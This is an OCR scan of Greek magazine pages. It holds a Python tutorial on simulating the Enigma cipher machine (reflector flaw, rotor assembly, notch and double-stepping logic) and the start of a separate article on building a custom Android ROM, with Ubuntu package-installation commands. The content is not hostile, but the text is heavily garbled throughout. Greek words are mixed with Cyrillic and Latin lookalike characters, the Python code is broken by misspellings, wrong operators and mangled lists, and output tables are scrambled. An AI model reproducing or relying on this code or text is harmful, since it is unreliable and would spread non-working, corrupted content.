δεν γνωρίζαμε την ακριβἠ θέση nou θα εμφανἰζονταν ro τυποποιημένο και προβλὲ- 
ψιμο cleartext. Φανταζόμαστε βέβαια бт! το «WETTERBERICHT» θα ἦταν κάπου 
στην αρχἠ και το «HEILHITLER» κάπου στο τέλος, αλλά σε αντίθεση pe rnv επικεφα- 
Мба rou JPG δεν μπορούμε va &£pouue TIG ακριβεἰς θέσεις. Εδώ εἶναι που ἐρχεται то 
μειονέκτημα της Enigma, που συζητήσαμε πριν: Н µηχανή δεν κρυπτογραφεί потё 
ἑνα γράμμα στον εαυτό του! 


Αν λοιπὀν ψάχνετε για τη λέξη «WETTERBERICHT» μέσα στο κρυπτὀγραµµα, µπο- 
peite va αποκλεϊΐσετε ὀλες τις περιπτώσεις ὁπου βλέπετε ἑνα γράμμα της va oupni- 
MTEI µε TO κρυπτόγραµµα. Αν βρείτε µια πιθανἠ θέση µπορείτε να κάνετε υποθέσεις 
για την κρυπτογράφηση μέχρι να βρείτε --με τη βοήθεια των μαθηματικὠν-- τις 
αρχικές θέσεις κάθε рӧтора, δηλαδἠ το κλειδὶ! 


Όλη αυτή τη δουλειά που σας περιγράψαµμε παραπάνω την ἑκανε o γνωστὸς µας 
Alan Turing στο Bletchey Park, το κέντρο αποκρυπτογράφησης των Βρετανικών 
μυστικών υπηρεσιών στο В’ Παγκόσμιο πόλεμο. Και, ναι, τα πάντα βασίστηκαν στα 
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μαθηματικὰ (ξέρω ὁτι ropa τρίβει τα χέρια του апо ευχαρίστηση o κος Εκδότης!) Av 
δεν το έχετε λοιπὀν δει ἠδη, παρακολουθήστε το αντίστοιχο video του numberphile 
στο http://bit.ly/enigmaflaw. 


Пат! όμως η µηχανἠ Enigma ἐχει αυτό το μοιραίο ελάττωμα; Όπως Ва διαβάσετε 
στο σχετικὀ σχήμα του παρόντος άρθρου, το πρὀβλημα οφεἰλεται στη χρήση του 
ανακλαστἠρα. 


Εξομοίωση Enigma, Take II 


Εἰχαμε σταματήσει στην εξομοίωση µιας µηχανἠς µε ¿vav µόνο ротора κι ¿vav ava- 
κλαστήρα. Δεν εἰμαστε µακριά орос апо το να επιτύχουμε την πλήρη εξομοίωση 
της κανονικής μηχανής µε τους τρεις ρότορες (ακόμα, όμως, χωρίς ro περίφημο 


Пат! αυτή η καταπληκτική μηχανή δεν µπορεί να κρυπτογραφήσει éva γράμμα στον εαυτό TOU; Αν uno- 
ρούσε, ra πράγματα θα ἦταν πολύ πιο δύσκολα yia rov Alan Turing και τους συνεργάτες του στο Bletchey 
Park. Πα να καταλάβουμε το πρόβλημα ας παρακολουθήσουμε την κρυπτογράφηση EVÓÇ γράμματος σε ша 
μηχανή µε ρότορες I, II, III, ανακλαστήρα τύπου B ki αρχικὲς θέσεις А, A, A. О χειριστής πιέζει το γράμμα 
A, ο δεξιός ρότορας περιστρέφεται και στην πραγματικότητα то А συνδέεται στη θέση В. Από εκεί έχουµε 
την ακολουθία ВЭР, СЭР, DF και FS апо rov ανακλαστήρα. Μέχρι εδώ, δεν φαίνεται να υπάρχει κάτι 
που να εμποδίζει την αντιστοίχιση TOU А στον εαυτὀ του. Παρατηρήστε μάλιστα ὁτι σε δυο διαδοχικούς 
ρότορες έχουμε σαν ἐξοδο то ідо γράμμα, ro D. Ki αν δούμε και την αντίστροφη διαδρομή, о ρότορας І 
έχει ξεκάθαρα αντιστοίχιση апо 5-5. ΤΙ χαλάει τη συνταγή; Па να µπορεί éva γράμμα να αντιστοιχιστεί 
τελικἀ στον εαυτό του, θα πρέπει η μηχανή va ἐχει τη δυνατότητα να στείλει το γράμμα πίσω апд την ἴδια 
ακριβώς διαδρομή που προέρχεται. Αλλά αυτὀ εἶναι αδύνατον, τη στιγµή που χρησιµοποιείται avakAa- 
στήρας που ενώνει πάντα δύο διαφορετικά σηµεία (π.χ., то F2S, алла δεν θα µπορεί να ενώσει το Ε-Ε, 
αφού αυτό δεν εἶναι κύκλωμα). Ακόμη κι апд ηλεκτρικής ἁποψης av το εξετάσουμε δεν θα ἦταν δυνατόν 
να κλείσουμε κύκλωμα, αφού η διαδροµή επιστροφής θα ἦταν ἴδια µε την αρχική και χρησιμοποιούμε τους 
ίδιους ρότορες και στις δύο κατευθύνσεις. Θα μπορούσαν λοιπὀν οι σχεδιαστές va ἐχουν, κατ’ αρχάς, εξα- 
σφαλίσει µια διαφορετική διαδρομή επιστροφής (ίσως μέσα апо άλλους ρότορες), WOTE να µη συγκρούε- 
та! µε την κανονική. Н χρήση του ανακλαστήρα και του ἰδιου κυκλώματος για εἰσοδο/έξοδο κάνει αδύνατη 
την ισχυρότερη αυτή κρυπτογράφηση. Ας ευχαριστήσουμε τον κατασκευαστή για αυτὀ του το λάθος! 
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plugboard). To μόνο που μένει εἶναι να opicoupe και τα άλλα εἰδη апо ρὀτορες και 
να τους συνδἐέσουµε μεταξὺ τους. Θα μπορούμε ἐπειτα να αντιμετωπίσουμε оло 
TO σύμπλεγμα µε τους τρεις ρὀτορες και τον ανακλαστήρα ως vav ενιαίο µηχανι- 
сро, στον οποίο δίνουμε σαν εἰσοδο ёха γράμμα και λαμβάνουμε στην ἐξοδο την 
κρυπτογραφημένη εκδοχἠ του. Όπως φαντάζεστε, θα δημιουργήσουμε µια κλάση 
RotorAssembly, µε τα παρακάτω χαρακτηριστικά: 


Μια συνάρτηση init, στην οποία θα μπορούμε να δίνουμε και αρχικἐς θέσεις στους 
ρότορες rou assembly. 


Mia συνάρτηση cipher, στην οποία θα δίνουμε ro plaintext και θα µας επιστρἑφει το 
ciphertext. Oa ἐχει επίσης «debug mode», το οποίο θα δείχνει σε µορφή κειµένου 
(nivaka) όλα τα ενδιάμεσα βήματα, ὁπως και το προηγούμενο απλουστευμένο µας 
πρὀγραμμα. 


Πριν ὁμως ξεκινήσουμε µε ro RotorAssembly, θα πρέπει να ορίσουμε ra άλλα δύο 
εἰδη апо ρὀτορες που θα χρησιμοποιήσουμε: ro Type II και то Type І. Κάτι αρκετά 
εύκολο, γιατὶ έχουμε ἠδη ro class και то μόνο που αλλάζει εἶναι η Ліста των αντι- 
στοιχιών: 


class RotorII(Rotor): 
def | init (self,startposition,placement- Middle"): 


self.connections = [Ἀ', '9', Ῥ',, 'К', 'S', T', R', И", 


ο, te] 
super(RotorII,self). init (startposition,placement) 
class RotorI(Rotor): 
def init (self, startposition,placement-'Left' ring setting-1): 
self.connections = [ 'E, Κ, M', 'F', L', G', 0", 05 


M σι Ν', πι, 0", wW, ү. 'H', 


icu Ὢν ἢ 
super(RotorI,self). init (startposition,placement) 
Και το απλὀ µας RotorAssembly: 
class RotorAssembly(object): 
def init (self, startposition left-'A', startposition middle-'A', 
startposition right-'A', reflectortype-'B): 
self.rotor r - RotorIII(startposition right, 'Right") 
self.rotor m - RotorII(startposition middle, Middle") 
self.rotor 1 = RotorI(startposition left, 'Left") 
self.reflector = Reflector(reflectortype) 


Haparnprjore бт! δίνουμε και κάποιες default τιμὲς στην init, ὡστε κάποιος να упорі 
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να δημιουργήσει ἑνα RotorAssembly ἐτσι: 
assembly = RotorAssembly() 


οπὀτε οι τρεις ρότορες θα αρχικοποιηθούν στις θέσεις «А», «A», και «А» κι ο ava- 
κλαστήρας θα εἶναι τύπου «B». Ἡ µπορεί κάποιος να χρησιμοποιήσει τις δικἐς του 
τιμὲς: 

assembly = RotorAssembly('A' Ῥ', Τ', Β') 


Όπως βλέπετε, ro assembly µας περιέχει ἑναν ротора τύπου III δεξιά, ἑναν τύπου II 
στη μέση kai ἑναν τύπου I αριστερά. Φυσικά μπορείτε να αλλάξετετις θέσεις τους av 
θέλετε, алла µας βολεύει για να ελέγχουμετην κρυπτογρἀφησὴ µας µε βάση κάποια 
ἄλλη εξομοίωση, ónoc αυτἠ που θα βρείτε στο http://enigmaco.de/enigma, χωρἰς να 
χρειαστεί να αλλάζουμε ra defaults. 


Н συνάρτηση cipher апла ενώνει τους ρὀτορες μεταξύ τους. Δείχνουμε εδὠ ἑνα 
απλοποιημένο κομμάτι και το υπόλοιπο θα το βρείτε στο αρχεἰο enigma-incomplete. 
py, το οποίο εἶναι μέσα στο ZIP pe τον nnyaio κώδικα (http://bit.ly/dhe22enigma). 


Θα αποθηκεύσουµε то ciphertext στη λἰστα crypto: 


crypto = [] 
Επεξεργαζὀµαστε το μήνυμα γράμμα προς γράμμα: 
for letter in themessage: 


ME TIG παρακάτω τρεις κλήσεις, κάνουμε την κανονικἠ (апо δεξιὰ προς ra αριστερὰ) 
κρυπτογράφηση στους τρεις ρὀτορες: 


(inputletter, outputletter, outpos) = self.rotonr r. 
cipher(ord(letter)-65) 


(inputletter, outputletter, outpos) - self.rotor m.cipher(outpos) 
(inputletter, outputletter, outpos) = self.rotor l.cipher(outpos) 
Φτάνουμε στον ανακλαστήρα: 
outpos = self.reflector.reflect(outpos) 
Επιστρέφουµε και κάνουμε την αντίστροφη κρυπτογράφηση (апо αριστερά προς та 
δεξιὰ): 
(inputletter, outputletter, outpos) = self.rotonr l.reflectCipher(outpos) 
(inputletter, outputletter, outpos) = self.rotor m.reflectCipher(outpos) 
(inputletter, outputletter, outpos) = ѕе1Ғ. гоог r.reflectCipher(outpos) 


τελικά ἐχουμε το κρυπτογραφημένο µας γράμμα, το οποίο τυπώνουμε κι αποθηκεύ- 
оон στη λίστα: 


print chr(outpos-465) 
crypto.append(chr(outpos-465)) 
To πλήρες µας kpunróypaupa yia ὁλα τα γράμματα: 
print 


print ".join(crypto) 
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>>> 
Machine Reset! 
Initial Rotor Positions: A- A- A 


Simulation running... 


ELE In Out Pos pun In Out Pos I 
R2-Pos  R3-In R3-Out R3-Pos С Note 


B B D 2 A ς р 3 A 

4 F c i BH cC [es F 3 A 
B ; Β σ 9 L F 3 DL 
S S 18 F D 3 D c 2 

Е Hi 8 A I у 21, W N 

F L 6 A G R EF A R 
А T 14 о 

BDZGO H μηχανή µας πολύ σωστά κρυπτογραφεί ra πέντε 


«A» σε «BDZGO». Μη βιαστείτε ὁμως να πανηγυ- 
ρίσετε: Н Enigma κρύβει πολλὲς παγίδες, μερικές 
φορές και µε τη μορφὴ bugs! 


Αν δοκιμάσετε тора να το τρέξετε µε єісобо «AAAAA» (όπως σας το δίνουμε στο 
αρχείο) θα πάρετε την κρυπτογραφημένη ἐκδοση «BDZGO», που εἶναι то σωστὸ 
αποτέλεσμα, ὁπως θα διαπιστώσετε αν διαβάσετε το σχετικὀ άρθρο της Wikipedia 
(http://en.wikipedia.org/wiki/Enigma rotor details) ἡ τρέξετε τον εξοµοιωτή nou 
αναφέραμε. Αλλά µη βιάζεστε... 


Βλέπετε, στη μηχανή µας μόνο o δεξιὸς ρότορας γυρίζει σε κάθε πάτημα πλήκτρου 
(σε κάθε γράμμα nou του δίνουμε), ενώ η πραγματικότητα εἶναι ὁτι όταν ο δεξιὸς 
ρότορας φτάσει στην εγκοπἠ rou (notch) θα πρέπει να περιστραφεἰ ο μεσαίος. Avri- 
στοιχα, ο μεσαίος θα περιστρέψει rov αριστερὀ ὁταν φτάσει τη δικἠ του εγκοπἠ. О 
αριστερὀς ρότορας —av και διαθέτει εγκοπἠ-- δεν επηρεάζει кат! καθώς o reflector 
εἶναι σταθερὸς. 


Τότε γιατὶ το αποτέλεσμα εἶναι σωστό; To μἠνυμὰ µας εἶναι πολύ μικρὸ σε μέγεθος 
και οι αρχικὲς θέσεις στους ρότορες εἶναι τέτοιες, που δεν ενεργοποιείται καμιά 
εγκοπἠ! Αν όμως βάλετε σαν αρχικὲς θέσεις та «A», «A», «T» yia αριστερὀ, μεσαίο 
και δεξιὸ póropa αντίστοιχα, θα δείτε ότι η κρυπτογρἀφησὴ µας εἶναι λάθος: To 
πρὀγραμμά µας, εκτὸς апо τον δεξιὸ δεν ξέρει να περιστρέφει τους ἄλλους ρότορες! 


Εἶναι opa va rou διδάξουµε την περιστροφἡ και των ἄλλων rotors, µια διαδικασία 
γνωστή ως Enigma Steppings! 
Enigma Steppings 


Н αρχική υλοποίηση δε φαίνεται δύσκολη. Κάθε ρὀτορας ἐχει µια εγκοπἠ κι όταν 
φτάσει εκεἰ κατὰ τη διάρκεια της περιστροφἠς του, δίνει µια ώθηση στον επόμενο 
ротора. Πα τους δικοὺς µας τρεις τύπους ротора, οι εγκοπἐς εἰναι: 
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Ενεργοποίηση επόµενου póropa 
Type III Κατά την περιστροφἠ апо V > W 


Type II Κατά την περιστροφή апо E > Е 
Туре I ο ο |] Κατὰ την περιστροφή апо О > В 


Στους ρὀτορες, Φανταστείτε ὁτι οι εγκοπὲς βρίσκονται ανάμεσα στα γράμματα, N.X., 
για τον Type III n εγκοπἠ βρίσκεται ανάμεσα στα V και W. Αλλά, φυσικά, στο npó- 
үранна µας δεν μπορούμε να κάνουμε κάτι τἐτοιο. Χρησιμοποιούμε τα γράμματα 
προορισμού για τις £ykon£c. Θα δείτε, λοιπὀν, ὁτι σε κάθε ρὀτορα έχουμε προσθέσει 
µια γραμμή σαν τη παρακάτω: 


self.notch = W' 


Στο Rotor class έχουμε προσθέσει δύο συναρτήσεις που µας επιτρἐπουν να δούµε av 
εἰμαστε ακριβώς πριν το γράμμα που έχουμε ορίσει ως notch ἡ av το έχουμε φτάσει: 


def justBeforeNotch(self): 
if self.letter ring[0] == chr(ord(self.notch)-1): 
return True 
else: 
return False 
def reachedNotch(self): 
if self.letter ring[0] == self.notch: 
return True 
else: 
return False 


Και φαίνεται (δώστε ἐμφαση στα πλάγια γράμματα) πως то µόνο nou μένει εἶναι va 
φτιάξουμε Ліүо τον προηγοὐμενό µας κὠδικα, WOTE να ελέγχει πὀτε φτάνουν oi pò- 
τορες στην εγκοπἠ για να ενεργοποιεῖται η περιστροφἠ του επόμενου ротора. Κάτι 
σαν το παρακάτω, δηλαδή (ro πλήρες проүрацџа εἶναι το enigma-steppingl.py): 


if self.rotor r.reachedNotch(): 
self.rotor m.rotate() 
if self.rotor m.reachedNotch(): 
self.rotonr l.rotate() 
Ωραία, Aoinóv, εκτελἐστε το πρόγραµµα enigma-steppingi1.py. Σε αυτό έχουμε ðw- 
σει ως αρχικὲς τιμὲς στους ρότορες τις «A», «А» και «Т», ενώ ως μήνυμα τα γνωστὰ 
μας πέντε «A». Τι απάντηση πήρατε; 
«AAAAA» > «BMUQO» 
Τρέχετε ανυπόμονα, το δοκιμάζετε στην εξομοίωση enigmaco.de και βλέπετε Ori 
εἶναι σωστό. «Success», αναφωνεἰτε για δεύτερη фора. Όμως пал! βιάζεστε — και 
τσάμπα τα πλάγια γράμματα. Δεν το nrjpare ro hint; 


Εντάξει λοιπὸν, ας δοκιµάσουµε кат! ἀλλο. Βάλτε σαν αρχικὲς θέσεις та «A», «D», 
«T» και δοκιμάστε ξανά. О δικὸς µας εξομοιωτὴς δίνει: 
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RSTUVWXYZ 
0280090000 


aeg 


BCDEFGHI JKLMNOPQRSTUVWXYZ 


SW { V = 
га 


Status: Highlighted wires show steps of encryption. 
www.enigmaco.de enigma v4.3 


Mia πολύ калд kai πιστή εξομοίωση της μηχανής Enigma uno- 
ρείτε να βρείτε ото http://enigmaco.de/enigma ка! να TN χρη- 
σιμοποιείτε για να ελέγχετε την πιστότητα της δικής σας un- 

χανής. Μόνο της μειονέκτημα От! εἶναι γραμμένη σε Flash: Σε 

ορισμένα μηχανήματα (£xo éva Atom στο μυαλό µου) πηγαίνει 
πιο арүа και απὀ την Enigma των Γερμανικών υποβρυχίων... 


«AAAAA» > «EEQEZ» 
EVO στο enigmaco.de Өа πάρετε: 
«AAAAA»  «ΕΕΩΙΒ» 


Καλὰ ξεκινάμε, αλλά кат! χαλάει στην πορεία! Τι, Онос; Or αρχικὲς θέσεις που Вала- 
µε δεν ἦταν και τόσο, =, ας πούμε τυχαίες. Και δείτε τι έγινε: Όταν ο δεξιὸς ρότορας 
πέρασε апо ro «V» στο «W>», περιστράφηκε (σωστὰ) και ο μεσαίος στη θέση «E». Н 
θέση αυτἠ εἶναι ακριβὼς πριν την εγκοπἠ του. 


Тора, το σωστὸ θα ἦταν όταν ο δεξιὸς ρότορας κάνει рау ακόµα πλήρη περιστροφἠ 
να φτάσει ξανά στην εγκοπἠ του (V2W) και να περιστρέψει ξανά τον µεσαίἰο, o onoi- 
ος, καθώς Ва περνάει апо το ЕӘЕ, θα περιστρέψει και τον αριστερό. Περίπου όπως 
περιστρέφονται τα ψηφία σε ἑνα οδὀµετρο αυτοκινήτου. Αντί γι΄ AUTÒ, τι γίνεται; 


Ὅταν ο μεσαίος ρότορας φτάσει ακριβώς πριν την εγκοπἠ του, στο επόὀµε- 
νο πάτημα πλήκτρου περιστρέφεται ξανά χωρίς να ενεργοποιηθεί απὀ τον 
δεξιό! 
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Το φαινόμενο αυτὀ εἶναι γνωστό ως enigma double stepping κι ἔχει φυσικά ως ano- 
τἐλεσμα την περαιτέρω εξασθένηση της κρυπτογράφησης! 


Αν то Enigma το giye φτιάξει η εταιρεία που ξέρετε ὁτι σκέφτομαι αυτή τη στιγμὴ, 
θα σας έλεγε ότι πρὀκειται yia feature. Εγώ πάλι σας διαβεβαιώνω бт! πρὀκειται για 
bug! О τρόπος που λειτουργεί ο μηχανισμός μετάδοσης της κίνησης στους ρὀτο- 
ρες (µε μοχλούς, єүкопёс και λοιπὰ μηχανολογικἁ κόλπα), προκαλεἰ και ro double 
stepping. 

To θέµα εἶναι бт! αυτὀ ro bug πρέπει va το περάσουμε κι εμείς, στον δικὀ µας κὠδι- 
κα. Θέλουμε µια κανονικἠ Enigma, µε ra προβλἡματὰ της! 


Enigma double stepping 
To πρὀγραμμἁ µας εἶναι ro enigma-stepping2.py και περιέχει τις παρακάτω αλλαγές: 
just rotated = False 
for letter in themessage: 
if self.rotor m.justBeforeNotch(): 
self.rotor m.rotate() 
self.rotor l.rotate() 
just rotated - True 
if showoutput: 
print "DS" 
else: 
just rotated - False 
if showoutput: 
print 
Αν ο μεσαίος ρὀτορας εἰναι ακριβὠς πριν την εγκοπἠ, τον περιστρἐέφουµε ἆμεσα στο 


επόμενο πάτημα πλήκτρου. Пат! το κάνουμε AUTÒ στην арҳӯ ὁμως κι ὀχι μετὰ την 
περιστροφἠ του δεξιού ρότορα, ὁπως θα ἦταν πιο σωστὸ; 


Κάποιος μπορεἰ να βάλει ως αρχικἡ θέση ra «A», «E», «V». Εδώ, ο δεξιὸς κι ο µεσα[- 
ος ρὀτορας εἰναι ακριβὼς πριν τις єүкопёс̧ τους. Ξεκινώντας, ο δεξιὸς ρὀτορας θα 
περιστρέψει τον µεσαίἰο, ο οποίος δεν πρέπει να περιστραφεἰ ξανά στο επόμενο πλἠ- 
κτρο! Αν και βρίσκεται πριν την εγκοπἠ, τυχαίνει η περιστροφή rou να συμπίπτει µε 
τη φυσιολογική ὠθηση nou δέχεται апо τον δεξιὸ ротора. Δεν μπορώ va φανταστώ 
TI ἐπιναν órav το κατασκεύαζαν, auró το μηχάνημα! 


Πα την περίπτωση αυτή, φυσικά, πρέπει να προσέξουμε QOTE να µη τον περιστρέ- 
ψουµε ξανὰ παρακάτω: 
if 561{.γοζογ r.reachedNotch() and not just rotated: 
self.rotor m.rotate() 


Δοκιμάστε тора αυτή την εκδοχἠ µε τις αρχικἐς θέσεις που δώσαμε παραπάνω κι 
επιβεβαιώστε τα αποτελέσµατα. Έχουμε µια ὀμορφη, προβληματική Enigma, η 
οποία ελπἰζουµε να σας κρατήσει απασχοληµένους μέχρι το επόμενο τεύχος ὀπου 
θα μιλήσουμε για ενδιαφἐροντα πράγματα ὁπως: 
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ο Ta ring settings, ἑνα ιδιαίτερα παρεξηγηµένο θἐµα καθὠς συγχἑεται συχνά µε 
τις арҳікёс̧ θέσεις των rotors 


ο To plugboard και noc θα ro εξομοιώσουμε στη μηχανὴ µας 


ο Τη µεταφορά του κὠδικά µας σε περιβάλλον γραφικών, χρησιμοποιώντας το 
αγαπημένο µας рудате! 


Καλές --και ισχυρὲς-- κρυπτογραφἠσεις! 


Μια μηχανὴ Enigma χωρίς τους ρότορες. Οι μικροί 
μοχλοί που βλέπετε ενεργοποιούν την περιστροφή των E 
rotors. О τρόπος μετάδοσης της κίνησης εἶναι τέτοιος, kb" 

που δημιουργεί το περίφημο double stepping feature 
(bug). О κύλινδρος µε τις επαφές δεξιά εἶναι το entry 
wheel, εκεί που καταλήγουν οι γραμμές του πληκτρο- 
λογίου (ἡ rou plugboard, αν υπάρχει) kai στο οποίο 
ακουμπάνε οι επαφές του δεξιού ρὀτορα. 


= 


* 


% 


οὐ 0 φ Ὃς. 
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Skill: intermediate 
Tags: Android ROM, ROM cooking, overlay 


Χτίστε ro δικὀ σας Android ROM! 


H πλειονότητα TOV κατόχων σχετικών συσκευών δεν θα μπορούσε va νοιαστεῖ 
λιγότερο yia το υπόλοιπο αυτής της πρότασης, εμείς ωστόσο θα θέλαμε να 
ξεκινήσουμε το παρὀν άρθρο σημειώνοντας ότι το Android αποτελεί λογισμικὀ 
Ανοικτού Κώδικα (Open Source Software). Οι αναγνώστες του deltaHacker, 
βέβαια, ξεχωρίζουν апо την ónoia πλειονότητα. Ξέρουν, yia παράδειγµα, πως 
το να ἐχει κανεῖς πρὀσβαση στον κὠδικα rou Android σηµαίνει ότι μπορεί va 
τον τροποποιήσει, να τον μεταγλωττίσει και να τον τρέξει σε ша συσκευή µε 
επεξεργαστή κατάλληλης αρχιτεκτονικἠς. Τι θα λέγατε, λοιπὸν, αν κάναμε 
ακριβώς auró, осте να φτιάξουμε το δικὀ µας Android ROM; Δεν ξέρουμε πὼς 
το βλέπετε εσεἰς, αλλά εμεῖς τουλάχιστον θέλαμε να αλλάξουμε πολλά πράγματα 
στο λειτουργικό της δικἠς µας συσκευής... 


bu GiannouG 


ώ” 


Χτίστε το δικό σας Android ROM! 
Αα 


To Android δεν χρειάζεται συστάσεις. 
Προέρχεται απὀ την Google και εἶναι το 
πλέον бпноф!Аёс λειτουργικὀ σύστημα 
για ἐξυπνα τηλέφωνα, tablets κι ἄλλες 
συσκευὲς. Ένα апо τα κύρια χαρακτηρι- 
отіка του εἶναι o Open Source χαρακτή- 
ρας του. Μπορεί, δηλαδή, να πάρει kå- 
ποιος το πρωτότυπο Android που δίνει η 
Google, να το μετατρέψει ὁπως επιθυμεὶ 
και να το μεταφέρει σε οποιαδήποτε συ- 
σκευἠ µπορεί va το τρέξει. Σε αυτό φυσι- 
ка βοηθάει το Linux, γύρω απὀ το οποίο 


Το JXD 57300 εἰναι µια φορητή κονσόλα με 


еа Χτισμενο то Android. Πρακτικα, Android. Δεν ἐχει να ζηλέψει τίποτα апд αντίστοι- 
TO Linux εἶναι ο πυρήνας που δίνει ζωὴ χες συσκευές, αφού ἐχει όλα ra χαρακτηριστικἀ 
στο hardware κι επιτρέπει στο Android των σύγχρονων tablets. Πάνω σε αυτή την συ- 


να μιλά µε κάθε εἰδους πλατφόρμα και σκευἠ θα βασιστούμε για το δικὀ µας ROM! 


µε εκατοντάδες διαφορετικούς αισθητήρες. Κάθε ενδιαφερὀµενος κατασκευαστής 
παίρνει το «βασικὀ» Android και χτίζει πάνω του --ἡ γύρω του, αν προτιµάτε-- то 
δικὀ του λειτουργικὀ σύστημα, για TIG ӧікёс̧ του συσκευέἑς. Υπάρχουν, N.X., εταιρείες 
που δημιουργούν va αρκετά διαφορετικό περιβάλλον, ὁπως επἰσης κι εταιρεἰες που 
апла προσθέτουν μερικὲς бїкёс τους εφαρμογές. 

Σε αυτὸ το άρθρο θα µάθουµε να φτιάχνουμε τις бїкёс µας, προσαρμοσμένες εκδο- 
хёс rou Android. Με άλλα λόγια, θα δούμε noc δημιουργούμε τα δικἀ µας Android 
ROMs. Oa εξετάσουμε τους βασικούς καταλόγους του κὠδικα και θα εξηγήσουμε 
пос επεμβαΐνουν οι κατασκευαστές, ὥστε να τον φέρουν στα μέτρα τους. Θα nai- 
ἔουμε κι εμείς λἰγο µε τις ρυθμίσεις, θα βγάλουμε μερικὲς єфарроүёс̧ που θεωρού- 
µε άχρηστες και, τέλος, θα χτίσουμε ro Android апо την αρχἠ. Επειδἠ κάνουμε τα 
прота µας βήματα δεν θα ασχοληθούμε ιδιαίτερα µε τον κώδικα, οὐτε θα επέµβουµε 
στον πυρήνα. Πριν συνεχίσουμε αξίζει να σημειώσουμε Ori η δικἠ µας συσκευή, που 
πλέον φέρει το δικὀ µας Android ROM, λειτουργεἰ άψογα ;) 


Εν αρχή nv o κὠδικας 


Αν κι ο κὠδικας TOU Android εἰναι ελεύθερα διαθέσιμος, υπάρχει ёха ζήτημα µε τον 
πυρήνα και τους drivers yia τα διάφορα συστήµατα της εκάστοτε συσκευἠς. Αν 
έχουµε κάποια συσκευἠ Nexus апо τη Google, εἰμαστε τυχεροί. Н Google παρέχει 
όλο τον κώδικα rou Android και pai προσφέρει τον τροποποιημένο πυρήνα алла και 
τους drivers. Αν έχουμε κάποια άλλη συσκευἠ, μπορούμε να ζητήσουμε rov nnyaio 
κώδικα απὀ τον κατασκευαστή. Τις περισσότερες φορὲς αρκεἰ ἑνα апло email στο 
TEXVIKO τμήμα της εταιρείας. Ειδικἁ για τον πυρήνα, χάρη στην ἄδεια χρήσης GPL 
апо την οποία καλύπτεται, οι εταιρείες εἶναι υποχρεωμένες να παρέχουν rov тропо- 
noinp£vo κὠδικα σε οποιονδήποτε τον ζητήσει. Το υπόλοιπο Android, όμως, κυκλο- 
popsi µε µια λιγότερο ελεύθερη ἁδεια. Ἐτσι, ανάλογα µε την πολιτικἠ του εκάστοτε 
κατασκευαστή, µπορεί va µας στείλουν rov κὠδικα — αλλά παίζει και у’ ατυχήσουµε. 


Па το άρθρο Χρησιµοποιήσαμε το JXD S7300B. Πρόκειται για µια φορητή κονσόλα 
παιχνιδιών µε Android. Н μόνη διαφορά nou ἐχει апо та апла tablets, εἶναι ὁτι δι- 
αθέτει επιπλέον χειριστήρια για παιχνἰδια. Δε της λείπει οὐτε η οθόνη αφἠς, οὐτε η 
σύνδεση στο Internet! Με ἑνα email στην JXD λάβαμε τον πολυπόθητο κὠδικα και 
τη σημείωση ὁτι кало θα тау να µη διαρρεύσει κἄπου δημόσια. Και κάπως ἐτσι ξε- 
κίνησαν oi περιπἑτειὲς µας... 
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sales 11:10 PM (1 hour ago) - [= 


{оте = 


Ok, nextweek, we will open the source code for you 

—— Original Message — 

ο... 

Το ѕегісе@јха ες 

CC salesgypa cc 

Send Time 2012-02-14 22:43:31 

Subject: JXDS7300 

Hi there. I recently purchased a JXD $7300 preorder thru Willgoo. The device looked fantastic and has some very nice hardware {ο run on. You guys did a pretty good job 
this time on the hardware side! However. the current firmware builds are crippling this device, making il pretty much UNUSEABLE for alot of people. The main thing that 
needs fixed is the screens refresh/fps limit and the button mapping tool. Currently its locked at 50hz/SOfps in your firmware! this is unacceptable for a gaming tablet! This 
limitation absolutely breaks most emulators and alot of games! 

Please consider releasing the sources for your firmware to the Dingoonity community (http://boards.dingoonity org/androld-devices/) so we can fix these major issues with 
the 37300 software. Already there are two different custom firmwares for the 373001! Unfortunately we cannot fix these other major bugs without sources. Please consider 
this 


Thank you 


Tine ΑΕΙ ΑΣ. 25M 


Με λίγη кал θέληση και µερικά emails, η εταιρία 
αποφάσισε να µας δώσει τον κώδικα για την OU- 
OKEUI]! Δεν εἶναι υποχρεωμένη va το κάνει, алла αν 
υπάρχει η πίεση апо την κοινότητα όλα γίνονται :D 


Προετοιμασία εδάφους 


Ὅσο κατέβαινε o κὠδικας εἰχαμε αρκετὀ χρόνο για να ετοιµάσουµε το σύστημά µας. 
To катёВасра πἠρε περισσότερο апо 6 ὠρες, καθώς o server βρισκόταν κἄπου στην 
Ano Ανατολἠ. Προφανώς, στην καθυστέρηση ἐπαιξε ρόλο και το μέγεθος του ouuni- 
εσµένου αρχείου, που ξεπερνούσε τα 3GB. Αυτό εἶναι κἀτι που πρέπει να λάβουμε 
σοβαρά υπόψη, av σκοπεύουµε να εργαστούμε σε virtual machine! 


Εμεὶς φτιάξαμε ἑνα virtual machine (VM) µε το VMWare Workstation, αλλά η δου- 
Лаа µας θα γινόταν дута και σε µια εικονικἠ μηχανὴ rou Virtualbox. Πα TO εικονικὀ 
σύστημα αφιερώσαμε 4GB μνήμης, διαθἐσαµε ὁλους τους πυρήνες rou επεξεργαστἠ 
και για δίσκο χρησιμοποιήσαµμε vav ολόκληρο εξωτερικὀ σκληρό! Ως λειτουργικὀ 
σύστημα χρησιμοποιήσαμε την 64µπιτη ἐκδοση του Ubuntu 13.04, то οποίο, σηµει- 
ωτέον, εἰχαμε πλήρως αναβαθμίσει κι ενημερώσει. 


Πα ὀλες τις εφαρμογἐς του χρήστη ro Android βασίζεται στη Java. Έτσι, το прото 
πράγμα που προσθέσαµε στο σύστημα ἦταν n Java. Н εγκατἀστασἠ της στο Ubuntu 
δεν μπορεἰ να γίνει ἄμεσα, αφού η Canonical αποφάσισε va την αποσύρει апо τα 
repositories εξαιτίας κάποιων αλλαγών στις άδειες χρήσεις. Έτσι, πριν χρησιμοποιή- 
σουµε το αγαπημένο apt-get, χρειάστηκε να προσθέσουμε ro κατάλληλο repository: 


sudo add-apt-repository ppa:webupd8team/java 


Αμέσως μετὰ προχωρἠήσαμε στην εγκατάσταση της ἐκδοσης 6, στην οποία στηρἰζε- 
ται το Android. Αυτὀ το τονἰζουμε διότι πρὀσφατα κυκλοφόρησε και η ἐκδοση 7, η 
οποία όμως *бєм κἀνειξ για τη δουλειά µας: 


sudo apt-get update 
sudo apt-get install sun-java6-jdk 
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Χτίστε το δικό σας Android ROM! 
«Αα 


Συνεχίσαμε µε την εγκατάσταση των προαπαιτούμενων πακέτων: 


sudo apt-get install git gnupg flex bison gperf build-essential zip 

curl libc6-dev libncurses5-dev:i386 x11proto-core-dev libx11-dev:i386 
